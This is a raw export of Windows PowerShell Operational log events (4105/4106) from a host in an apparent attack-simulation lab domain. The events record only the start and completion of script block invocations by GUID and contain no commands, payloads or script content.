OpCode=On create calls
RecordNumber=2023564
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023563
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023561
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023559
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023558
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023557
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023556
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023555
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023574
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023573
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023571
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023569
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023567
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023565
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023583
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023581
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023580
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023579
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023577
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023575
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023593
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023591
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023590
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023589
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023588
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023587
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023585
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023603
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023602
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023601
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023599
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023598
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023597
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023596
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023595
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023613
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023612
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023611
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
